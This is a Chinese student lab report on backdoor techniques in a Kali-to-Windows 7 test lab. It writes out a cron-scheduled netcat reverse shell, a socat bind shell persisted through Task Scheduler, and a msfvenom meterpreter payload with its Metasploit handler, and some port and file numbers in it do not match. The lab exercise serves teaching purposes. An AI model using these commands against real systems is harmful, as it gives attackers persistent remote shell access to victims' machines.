2018-2019-2 网络对抗技术 20165321 Exp2 后门原理与实践

2024-02-24 09:00:16

基础问题回答

答：网络钓鱼植入木马。

答：绑定在合法软件上启动。

答：记录按键功能，可以获取输入的密码。

答：用杀软杀毒。。。。。。

cron是Linux下的定时任务，每一分钟运行一次，根据配置文件执行预设的指令。详细说明可以"man cron"。
在Windows系统下，监听5321端口
在kali环境下，用crontab -e指令编辑一条定时任务，（crontab指令增加一条定时任务，-e表示编辑）选择编辑器时选择3（第一次会提示选择编辑器，以后就不会提示了）；
在最后一行添加58 * * * * /bin/netcat 169.254.175.85 5318 -e /bin/sh，意思是在每个小时的第58分钟反向连接Windows7主机的5321端口；
当时间到了第58分时，Windows7获得kali的shell，可输入命令。

搜索打开“计算机管理”；
在“任务计划程序”中“创建任务”；
填写任务名->新建一个触发器；
在操作->程序或脚本中选择你的socat.exe文件的路径，在添加参数一栏填写tcp-listen:5321 exec:cmd.exe,pty,stderr，这个命令的作用是把cmd.exe绑定到端口5321，同时把cmd.exe的stderr重定向到stdout上；
创建完成之后，按Win+L快捷键锁定计算机，再次打开时，可以发现之前创建的任务已经开始运行；
此时，在kali环境下输入指令socat - tcp:192.168.70.144:5321，这里的第一个参数-代表标准的输入输出，第二个流连接到Windows主机的5321端口，此时可以发现已经成功获得了一个cmd shell。

在kali上执行指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.70.145 LPORT=5321 -f exe > 20165321_backdoor.exe，这里的IP地址为kali的IP地址，运行指令后生成了后门程序“20165318_backdoor.exe”；
在Windows7下执行nc.exe -l 5321 > 20165321_backdoor.exe，这样被控主机就进入了接收文件模式，也可以使用ncat.exe -lv 5321 > 20165321_backdoor.exe指令，通过-lv选项看到当前的连接状态；
在kali中执行nc -nv 192.168.70.144 5321 < 20165321_backdoor.exe，这里的IP地址为Windows7的IP地址；
传送接收文件成功；
在kali上输入`msfconsole指令，然后在Windows7中打开后门程序，kali中就进入msf控制台；
输入use exploit/multi/handler使用监听模块，设置payload；
输入set payload windows/meterpreter/reverse_tcp，使用和生成后门程序时相同的payload；
输入set LHOST 192.168.70.145，这里用的是kali的IP，和生成后门程序时指定的IP相同；
输入set LPORT 5321，同样要使用相同的端口；
输入show options查看设置；
设置完成后，输入exploit执行监听；
在Windows7中运行后门程序；
kali获得Windows7的shell。